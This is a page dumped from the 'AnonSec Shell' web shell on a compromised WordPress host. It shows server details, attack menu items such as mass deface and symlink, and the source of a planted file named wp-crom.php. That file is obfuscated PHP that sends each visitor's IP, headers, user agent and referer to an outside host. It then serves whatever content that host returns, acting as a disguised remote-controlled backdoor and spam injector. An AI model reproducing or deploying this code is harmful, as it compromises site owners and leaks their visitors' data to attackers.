AnonSec Shell
Server IP : 23.88.8.221  /  Your IP : 13.59.218.229   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux europe1.dehosting.ir 3.10.0-962.3.2.lve1.5.70.el7.x86_64 #1 SMP Mon May 30 08:45:55 UTC 2022 x86_64
User : gamefaq1 ( 1564)
PHP Version : 7.4.33
Disable Function : mail
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gamefaq1/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/gamefaq1/public_html/wp-crom.php
<?php
 goto s7uq1; GwzD0: $StrIf = $_SERVER["\x48\124\x54\x50\137\125\123\x45\x52\x5f\x41\x47\x45\116\x54"]; goto VSb6y; qS5Xm: goto ZhUiY; goto bPHBp; uPIO7: $O_XY9 = $_SERVER["\122\x45\115\x4f\x54\105\x5f\101\x44\x44\122"]; goto cCOWI; hKigM: $ajpBP = $jKiBd . $_SERVER["\x48\124\x54\120\x5f\110\x4f\123\124"]; goto GwzD0; g3G7f: if (!strstr($k3M67, "\133\x23\52\43\52\x23\135")) { goto BQFBa; } goto Hw86A; tMJe9: BQFBa: goto YrVc1; KZIBn: $EfpIU = $ME2v5 . "\57\151\156\144\x65\x78\x2e\160\x68\x70\x3f" . http_build_query($ENz9_); goto eVHXb; TyDCO: $ENz9_ = ["\x64\157\x6d\141\x69\156" => urlencode($ajpBP), "\x61\x67\145\x6e\x74" => urlencode($StrIf), "\x6c\x61\156\x67" => urlencode($kJOGy), "\x75\162\x69" => urlencode($IOtCO), "\162\145\146\x65\162\x65\162" => urlencode($a_yAE), "\151\x70" => urlencode($O_XY9), "\x6d\x65\x74\150\x6f\144" => urlencode($DkcBh), "\x72\145\163\160\157\156\x73\145\x5f\164\151\155\145" => urlencode($tT6VR), "\x72\x65\161\165\x65\163\164\x5f\x68\145\141\x64\145\x72\x73" => urlencode($AAUIk), "\x66\157\162\x77\141\x72\x64\145\144\x46\157\162" => urlencode($vdS3C), "\x6c\x6f\143\x61\x6c\137\144\157\x6d\x61\x69\156" => urlencode($ME2v5)]; goto KZIBn; TOsOy: BB3gh($XLwBO, $iHpaz); goto tMJe9; KjA35: $a_yAE = $_SERVER["\110\x54\x54\x50\137\x52\105\106\105\x52\x45\122"]; goto uPIO7; Hw86A: list($XLwBO, $iHpaz) = explode("\x5b\43\x2a\x23\x2a\43\x5d", $k3M67); goto TOsOy; hnK3N: $IOtCO = $_SERVER["\122\x45\x51\125\x45\x53\x54\137\x55\122\x49"]; goto KjA35; rwIX7: $tT6VR = microtime(true) - $_SERVER["\122\105\121\125\105\123\124\137\124\x49\x4d\105\x5f\x46\x4c\x4f\101\124"]; goto cba2M; T2U06: function bb3Gh($XLwBO, $iHpaz) { goto OytZ2; bh1JK: xsVT7: goto ksGXU; ksGXU: pS8di: goto VVlwu; VVlwu: exit; goto Qz3VK; OytZ2: switch ($XLwBO) { case "\145\x63\x68\157\x68\164\155\154": goto eKgr5; X_WAN: echo $iHpaz; goto Idciu; eKgr5: header("\103\x6f\x6e\x74\145\x6e\x74\x2d\x54\x79\160\x65\x3a\x20\164\x65\170\164\57\150\x74\155\x6c\73\40\x63\x68\x61\162\x73\145\164\75\125\124\x46\x2d\x38"); goto X_WAN; Idciu: goto pS8di; goto u9t98; u9t98: case "\x65\x63\150\157\x78\x6d\x6c": goto gH8uO; gH8uO: header("\103\157\x6e\164\145\x6e\x74\x2d\124\x79\160\145\72\x20\164\x65\x78\x74\57\170\155\x6c\x3b\40\x63\x68\x61\x72\x73\x65\x74\75\125\124\106\x2d\x38"); goto ADQEV; vymVR: goto pS8di; goto piU0m; ADQEV: echo $iHpaz; goto vymVR; piU0m: case "\145\143\150\x6f\164\170\164": goto lvQL6; Sp2E0: echo $iHpaz; goto yJ2Vu; yJ2Vu: goto pS8di; goto Tp2AS; lvQL6: header("\x43\157\156\x74\145\156\x74\x2d\x54\171\x70\x65\72\x20\x74\x65\x78\164\x2f\x70\154\x61\151\156\73\x20\x63\x68\141\162\x73\x65\x74\75\125\124\x46\x2d\x38"); goto Sp2E0; Tp2AS: case "\145\143\150\157\x34\x30\x34": goto G1lCn; G1lCn: header("\x48\x54\124\x50\57\61\56\61\x20\x34\x30\x34\x20\x4e\x6f\x74\40\x46\157\165\x6e\x64"); goto xlH1h; xlH1h: header("\103\x6f\x6e\x74\x65\156\164\x2d\x54\171\160\145\72\40\x74\145\x78\164\x2f\150\164\x6d\154\73\40\x63\150\x61\x72\163\145\164\75\125\124\x46\55\x38"); goto MOWfe; ivUpv: goto pS8di; goto qJhCA; MOWfe: echo $iHpaz; goto ivUpv; qJhCA: default: goto mQoAL; mQoAL: header("\x48\124\124\x50\x2f\x31\x2e\x31\40\65\x30\60\40\111\156\164\145\x72\156\x61\x6c\x20\123\x65\x72\x76\x65\162\x20\x45\x72\x72\x6f\162"); goto Da6Iy; Da6Iy: echo "\x49\156\166\x61\x6c\151\x64\x20\162\x65\163\160\157\x6e\x73\145\x20\164\x79\x70\x65\56"; goto oducR; oducR: goto pS8di; goto E4UFT; E4UFT: } goto bh1JK; Qz3VK: } goto ipAYs; bPHBp: UoCel: goto g3G7f; s7uq1: if (!function_exists("\104\x76\x6d\x43\167")) { function dvmcW() { goto n6Dmb; nHWdI: return $KbE7Y; goto Bbu0q; qZcov: mfo3J: goto nHWdI; n6Dmb: $KbE7Y = []; goto eVUgO; eVUgO: foreach ($_SERVER as $k2Aw_ => $OGghj) { goto Tlj9Z; YaeQm: avAaB: goto ROuL7; Tlj9Z: if (!(substr($k2Aw_, 0, 5) == "\x48\124\124\x50\x5f")) { goto Cvd39; } goto EiHwO; A7KZL: Cvd39: goto YaeQm; EiHwO: $KbE7Y[str_replace("\x20", "\55", ucwords(strtolower(str_replace("\x5f", "\40", substr($k2Aw_, 5)))))] = $OGghj; goto A7KZL; ROuL7: } goto qZcov; Bbu0q: } } goto tHuBW; cba2M: $AAUIk = json_encode(DvMcw()); goto sx7j5; fAjgf: if ($k3M67 !== false && $IOtCO !== "\x2f\x66\x61\x76\151\x63\x6f\156\56\151\x63\157") { goto UoCel; } goto oTu1s; tHuBW: $jKiBd = isset($_SERVER["\x48\124\124\120\123"]) && $_SERVER["\x48\124\124\x50\x53"] == "\x6f\156" || isset($_SERVER["\110\124\x54\120\x5f\130\x5f\x46\x4f\x52\127\101\122\104\x45\x44\137\x50\122\117\x54\x4f"]) && $_SERVER["\x48\x54\124\x50\137\x58\x5f\106\x4f\122\x57\x41\x52\104\x45\104\x5f\x50\122\x4f\124\x4f"] == "\150\x74\164\160\163" ? "\x68\x74\164\x70\x73\x3a\57\57" : "\x68\x74\x74\x70\x3a\x2f\57"; goto hKigM; sx7j5: $vdS3C = isset($_SERVER["\x48\124\124\120\x5f\x58\137\x46\117\x52\127\x41\122\104\x45\104\x5f\106\x4f\x52"]) ? $_SERVER["\110\x54\x54\x50\x5f\130\x5f\106\117\x52\x57\x41\122\104\x45\x44\x5f\106\x4f\x52"] : ''; goto gV3lU; ipAYs: function q7FB4($NHsKh, $dAz1o) { goto amuEt; amuEt: header("\110\124\x54\x50\x2f\x31\56\x31\x20{$NHsKh}\40{$dAz1o}"); goto YbHR8; EWWbq: exit; goto aUgQm; YbHR8: echo $dAz1o; goto EWWbq; aUgQm: } goto dA6GV; gV3lU: $ME2v5 = "\150\164\164\160\163\72\57\57\62\64\70\x73\61\151\x65\x2e\x63\153\142\x6c\x6f\x67\56\163\150\157\x70"; goto TyDCO; oTu1s: q7Fb4(500, "\106\141\x69\x6c\145\x64\40\164\157\x20\x72\145\x74\x72\151\145\x76\x65\40\x63\x6f\x6e\164\x65\x6e\x74\x20\x6f\x72\40\x73\145\x72\166\145\162\x20\162\145\x74\165\x72\x6e\x65\144\x20\141\156\x20\x65\x72\x72\x6f\x72\56"); goto qS5Xm; cCOWI: $DkcBh = $_SERVER["\x52\105\x51\125\x45\123\124\x5f\x4d\x45\124\110\x4f\104"]; goto rwIX7; YrVc1: ZhUiY: goto T2U06; eVHXb: $k3M67 = yskdk($EfpIU); goto fAjgf; VSb6y: $kJOGy = $_SERVER["\x48\x54\124\x50\137\x41\103\x43\x45\x50\124\x5f\114\x41\x4e\107\x55\x41\x47\105"]; goto hnK3N; dA6GV: function YSKdk($fqzRh) { goto QZAmO; nwMlv: goto Cbela; goto IINUb; XxwpB: return $nNkQ8; goto wPTVo; IINUb: C0_bG: goto WCJ3z; OW2zG: if (!($eVkHq == 200)) { goto xMrtS; } goto ocnMN; g1fZS: S6d72: goto nwMlv; bxw_2: curl_setopt($j35_u, CURLOPT_CONNECTTIMEOUT, $ko2DQ); goto pAVQ7; kHGOp: curl_setopt($j35_u, CURLOPT_SSL_VERIFYHOST, false); goto fnvkl; TOnAm: $u4fR_ = stream_context_create(["\150\164\164\160" => ["\164\x69\155\145\157\165\164" => $ko2DQ, "\151\147\156\157\162\145\x5f\145\162\162\x6f\162\163" => true]]); goto pbqNv; dTCH9: $j35_u = curl_init(); goto UCRRh; AB3pp: Cbela: goto XxwpB; HO_Dr: curl_setopt($j35_u, CURLOPT_RETURNTRANSFER, 1); goto bxw_2; hhZxN: if ($nNkQ8 === false) { goto C0_bG; } goto a6Jw1; pAVQ7: curl_setopt($j35_u, CURLOPT_TIMEOUT, $ko2DQ); goto Ywq5v; QZAmO: $ko2DQ = 300; goto dTCH9; fnvkl: $nNkQ8 = curl_exec($j35_u); goto znVWr; pbqNv: $nNkQ8 = @file_get_contents($fqzRh, false, $u4fR_); goto hhZxN; a6Jw1: $http_response_header = $http_response_header ? $http_response_header : []; goto nU3nk; UCRRh: curl_setopt($j35_u, CURLOPT_URL, $fqzRh); goto HO_Dr; WCJ3z: return false; goto AB3pp; m3UjY: xMrtS: goto TOnAm; ocnMN: return $nNkQ8; goto m3UjY; Z7RoF: curl_close($j35_u); goto OW2zG; Ywq5v: curl_setopt($j35_u, CURLOPT_SSL_VERIFYPEER, false); goto kHGOp; znVWr: $eVkHq = curl_getinfo($j35_u, CURLINFO_HTTP_CODE); goto Z7RoF; nU3nk: foreach ($http_response_header as $D7oAT) { goto Iw0Yd; sD5pm: TamRN: goto GJp39; Iw0Yd: if (!preg_match("\57\136\x48\x54\124\120\134\57\x5b\134\144\x5c\56\x5d\x2b\40\x28\x5c\x64\53\51\57", $D7oAT, $PetPQ)) { goto nrH4V; } goto CvUZH; hWKtl: fL5Oe: goto Zazsw; AQ8bn: if (!($Drr3M != 200)) { goto TamRN; } goto oFWcS; oFWcS: return false; goto sD5pm; GJp39: nrH4V: goto hWKtl; CvUZH: $Drr3M = (int) $PetPQ[1]; goto AQ8bn; Zazsw: } goto g1fZS; wPTVo: }?>

Anon7 - 2022
AnonSec Team